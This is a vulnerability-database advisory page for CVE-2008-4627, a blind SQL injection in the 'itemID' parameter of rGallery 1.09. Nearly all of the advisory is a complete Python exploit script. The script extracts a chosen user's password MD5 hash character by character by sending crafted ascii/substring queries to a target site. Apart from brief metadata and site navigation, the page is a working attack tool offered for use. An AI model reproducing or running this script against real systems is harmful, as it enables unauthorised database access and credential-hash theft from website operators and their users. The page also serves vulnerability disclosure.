|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||||
SecurityAlert : 4443 CVE : CVE-2008-4627 CWE : CWE-89 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : Yes
Credit : Five-Three-Nine Published : 22.10.2008
Advisory Content : import sys, urllib2, re print "\n " print " \\#'#/ " print " (-.-) " print " -------------------oOO---(_)---OOo--------------------" print " | rGallery 1.09 (+-) Exploit by Five-Three-Nine |" print " | Using Blind SQL Injection in 'itemID' of rGallery |" print " | |" print " | Greets and Shouts to: |" print " | tmh, n00bor, activebeta, Ghost, Saufkumpel, Altair |" print " | crusader727, Nemo, Loader007, J0hn.X3r, sNiper109 |" print " ------------------------------------------------------\n" if len(sys.argv) != 5: print "\nUsage: ./rGallery.py <UserID> <UserTable> <ImageID> <site>" print "Ex: ./rGallery.py 1 bb1_users 19 http://example.com\n" sys.exit(1) UserID = sys.argv[1] Prefix = sys.argv[2] ImageID = sys.argv[3] Host = sys.argv[4] Res = [48,49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102] MD5 = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32] Hash = "" UserID = int(UserID) UserID -= 1 UserID = str(UserID) for MD5Count in range(32): for ResCount in range(16): try: source = urllib2.urlopen(Host +"/index.php?page=RGalleryImageWrapper&itemID=" + ImageID +"%20and%20ascii(substring((SELECT%20password%20from%20" + Prefix +"%20limit%20"+ UserID + ",1)," + str(MD5Count + 1) + ",1))="+ str(Res[ResCount])).read() print "[+] Character " + str(MD5Count + 1) + " found! " + str(Res[ResCount]) MD5[MD5Count] = Res[ResCount] break except(urllib2.URLError): continue except(urllib2.HTTPError): print "[+] Error: Can't load the Site" sys.exit(1) for i in MD5: Hash = Hash + str(chr(i)) print "\n[+] Hash: " + Hash References : http://securityreason.com/expldownload/1/4962/1 (Exploit)  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |